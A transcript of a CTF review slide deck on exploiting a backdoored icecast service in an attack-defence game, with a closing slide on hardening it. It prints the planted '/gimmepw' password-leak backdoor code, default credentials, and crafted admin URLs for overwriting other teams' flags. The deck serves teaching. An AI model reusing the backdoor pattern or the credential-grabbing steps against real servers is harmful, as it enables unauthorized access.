CTF Review Icecast - PowerPoint PPT Presentation

1 / 23
About This Presentation
Title:

CTF Review Icecast

Description:

... all services rest their flags on startup ... 16 calls to change the 32 characters in the flag ... determine how the other 28 characters of the flag get set ... – PowerPoint PPT presentation

Number of Views:45
Avg rating:3.0/5.0
Slides: 24
Provided by: Chris9
Category:
Tags: ctf | flag | icecast | review

less

Transcript and Presenter's Notes

Title: CTF Review Icecast


1
CTF Review Icecast
  • LCDR Chris Eagle

2
icecast
  • icecast is an open source streaming media server
  • Configured to listen on port 8000
  • Options in /usr/local/etc/icecast.xml

3
Exploiting icecast
  • Using file grabbing techniques previously
    discussed grab
  • /usr/local/etc/icecast.xml
  • World readable
  • Contains admin password!
  • Must understand how flag get/set works
  • By far the most complicated flag manipulation

4
How it works
  • We know that all services rest their flags on
    startup
  • Scan the game image for the icecast service flag
  • It turns up in the icecast binary
  • Similar to sfind and ftpd
  • It also turns up in a deleted file named sock.c
  • Part of the icecast distribution

5
sock.c
  • We find this
  • char g_client_hash "952d39447df93b625c8301ee553
    4d58e"
  • With g_client_hash used here
  • / sock_initialize
  • initializes the socket library. you must call
    this
  • before using the library!
  • /
  • void sock_initialize(void)
  • ifdef _WIN32
  • WSADATA wsad
  • WSAStartup(0x0101, wsad)
  • endif
  • int sockfd, i, j
  • resolver_initialize()
  • for (sockfd 0 sockfd lt 64 sockfd)

6
What Next?
  • We now become interested in
  • g_client_reference.clientsock
  • Where is it used?
  • Within sock.c, only in the function
    sock_register_response
  • Not called from any other location in sock.c
  • IdaPro disassembly indicates sock_register_respons
    e is called from 16 locations
  • More forensics yields a source file that contains
    16 calls to sock_register_response

7
sock_register_response
  • void sock_register_response(char response, int
    offset)
  • int offset_prev, threshold, limit
  • if (response NULL) return
  • offset_prev atoi(response)
  • threshold offset_prev / LOWER_BOUND
    //LOWER_BOUND 0x10
  • limit offset_prev LOWER_BOUND
  • if (threshold gt MAX_THRESHOLD)
    //MAX_THRESHOLD 0x09
  • threshold CLIENT_INCREMENT
    //CLIENT_INCREMENT 0x57, 'a' - 10
  • else
  • threshold SERVER_INCREMENT
    //SERVER_INCREMENT 0x30, '0'
  • if (limit gt MAX_THRESHOLD)
  • limit CLIENT_INCREMENT
  • else
  • limit SERVER_INCREMENT

8
sock_register_response
  • For those that have never seen it this converts a
    integer in the range 0..255 to its two character
    hex representation
  • It would take 16 calls to change the 32
    characters in the flag
  • All 16 calls take place through a function called
    admin_handle_request
  • Either directly or indirectly

9
Example
  • The calls below set characters 0-3 of the flag
  • sock_register_response(
  • httpp_get_query_param(
  • client-gtparser, subst_request("ielqgh4",
    output)),
  • 0)
  • sock_register_response(
  • httpp_get_query_param(
  • client-gtparser, subst_request("ielqgh5",
    output)),
  • 2)

10
Next Step
  • Now we need to know what the following two
    functions do
  • httpp_get_query_param
  • subst_request
  • We will guess that httpp_get_query_param
    retrieves the value of a specified parameter to
    an http request

11
subst_request
  • Fortunately this is in the same file as
    admin_handle_request
  • It simply subtracts a constant (3) from each
    character in the input
  • char subst_request(char input, char output)
  • int i
  • for (i 0 i lt strlen(input) i)
  • outputi (char) ((char) inputi
  • (char) COMMAND_RAW_SHOW_LISTENERS)
  • outputi '\0'
  • return output

12
Example Simplified
  • The previous calls equate to
  • sock_register_response(
    httpp_get_query_param("fbindex1"), 0)
  • sock_register_response(
    httpp_get_query_param("fbindex2), 2)
  • We might guess that we can set characters 0-3 in
    a flag by supplying query parameters fbindex1 and
    fbindex2 with an appropriate URL

13
Further Digging
  • We need to determine the conditions under which
    admin_handle_request gets called
  • We need to determine how the other 28 characters
    of the flag get set
  • It would be nice to know how the flag is read

14
Skipping Ahead
  • It takes 5 separate get requests to change all 32
    characters of the flag
  • Each one is unique and has its own preconditions
  • Trace admin_handle_request to understand
  • Source mount password allows changing of 24 of
    the 32 flag characters
  • User/pass source/hackme
  • Need admin password to change the other 8
  • But we got this through icecast.xml

15
Flag Reading
  • g_client_reference.clientsock also get referenced
    in a function named _handle_get_request
  • The top level function for handling incoming
    connections
  • Also the function that calls admin_handle_request
    when the uri begins with /admin/
  • Also contains a backdoor uri /gimmepw
  • Spits back the admin password

16
Flag Reading
  • //within _handle_get_request
  • if (strcmp(uri, "/flag") 0)
  • int i
  • char flag32
  • char message256
  • flag0 '\0'
  • for (i 0 i lt 32 i)
  • sprintf(flag, "sc", flag,
    g_client_reference.clientsocki)
  • sprintf(message,
  • "HTTP/1.0 200 OK\r\nnContent-Type
    text/html\r\n\r\ns\r\n",
  • flag)
  • sock_write(client-gtcon-gtsock, message)
  • client_destroy(client)
  • return

17
Access to admin_handle_request
  • //within _handle_get_request
  • / Dispatch all admin requests /
  • if (strncmp(uri, "/admin/", 7) 0)
  • printf(" admin function\n")
  • admin_handle_request(client, uri)
  • return

18
Back Door Password Access
  • //within _handle_get_request
  • if (strcmp(uri, "/gimmepw") 0)
  • ice_config_t config config_get_config()
  • char pass config-gtadmin_password
  • char message256
  • sprintf(message,
  • "HTTP/1.0 200 OK\r\nnContent-Type
    text/html\r\n\r\ns\r\n",
  • pass)
  • sock_write(client-gtcon-gtsock, message)
  • client_destroy(client)
  • return

19
URLs of Interest
  • http//other.team8000/flag
  • Read the flag
  • http//other.team8000/gimmepw
  • Get other teams admin password
  • This yielded the admin password, but caused
    icecast to hang in my testing
  • Because they fail to avl_tree_unlock
  • http//other.team8000/admin/xxxx
  • Access to various admin functions required for
    setting flag characters

20
URLs to Change Flag
  • Bytes 0/1
  • /admin/metadata?mountblafbindex1255fbindex22
    55
  • Bytes 2-5
  • /admin/metadata?mount/icesid255int255limit
    255halt255modeblasongbla
  • Bytes 6-9
  • /admin/listclients?mount/icesservice255stream
    id255minduration255maxduration255

21
URLs to Change Flag
  • Bytes 10-13
  • /admin/listmounts?streamid255format255intlimi
    t255extlimit255
  • Requires admin password
  • Bytes 14/15
  • /admin/killclient?mount/icessourceid255errorm
    sg255id1
  • In all cases replace the number 255 with the
    decimal representation of the hex value for the
    flag byte

22
icecast Strategies
  • With the admin password
  • Change the flag to our flag
  • We can't stop anyone else from doing the same
    thing
  • Without the admin password
  • Change only a couple bytes of the flag so that
    the team fails to score

23
Securing icecast
  • Change permissions on icecast.xml
  • Not world readable
  • Change source mount password in icecast.xml
  • Change othersource password for mount point /raw
    in icecast.xml
  • Remove backdoor gimmepw uri handling
  • Requires icecast source code! OR
  • Edit icecast binary to skip gimmepw handling
Write a Comment
User Comments (0)
About PowerShow.com